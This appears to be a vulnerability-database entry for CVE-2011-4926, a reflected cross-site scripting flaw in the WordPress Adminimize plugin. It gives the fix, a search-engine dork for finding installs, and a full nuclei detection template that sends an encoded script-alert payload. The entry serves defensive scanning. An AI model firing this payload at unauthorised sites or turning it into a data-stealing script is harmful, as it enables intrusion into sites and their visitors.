HexBrain

Browse / CVEs / CVE-2011-4926

CVE-2011-4926· bueltge / adminimize· CWE-79

Adminimize 1.7.22 - Cross-Site Scripting

mediumseverity
4.3CVSS score
10.9%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

A cross-site scripting vulnerability in adminimize/adminimize_page.php in the Adminimize plugin before 1.7.22 for WordPress allows remote attackers to inject arbitrary web script or HTML via the page parameter.

Impact

Allows attackers to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.

Fix

Update to the latest version of Adminimize plugin (1.7.22) or apply the necessary patches to fix the XSS vulnerability.

How to confirm it

Send: GET /wp-content/plugins/adminimize/readme.txt
Positive when: contains "Adminimize ==="
Send: GET {{BaseURL}}/wp-content/plugins/adminimize/adminimize_page.php?page=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2011-4926 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2011-4926

info:
  name: Adminimize 1.7.22 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in adminimize/adminimize_page.php in the Adminimize plugin before 1.7.22 for WordPress allows remote attackers to inject arbitrary web script or HTML via the page parameter.
  impact: |
    Allows attackers to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: |
    Update to the latest version of Adminimize plugin (1.7.22) or apply the necessary patches to fix the XSS vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2011-4926
    - https://www.whitesourcesoftware.com/vulnerability-database/CVE-2011-4926
    - http://plugins.trac.wordpress.org/changeset?reponame=&new=467338@adminimize&old=466900@adminimize#file5
    - http://www.openwall.com/lists/oss-security/2012/01/10/9
    - http://wordpress.org/extend/plugins/adminimize/changelog/
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2011-4926
    cwe-id: CWE-79
    epss-score: 0.10911
    epss-percentile: 0.95911
    cpe: cpe:2.3:a:bueltge:adminimize:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: bueltge
    product: adminimize
    google-query: "inurl:\"/wp-content/plugins/adminimize/\""
  tags: cve2011,cve,wordpress,xss,wp-plugin,bueltge,vkev,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/adminimize/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Adminimize ==='

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/adminimize/adminimize_page.php?page=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from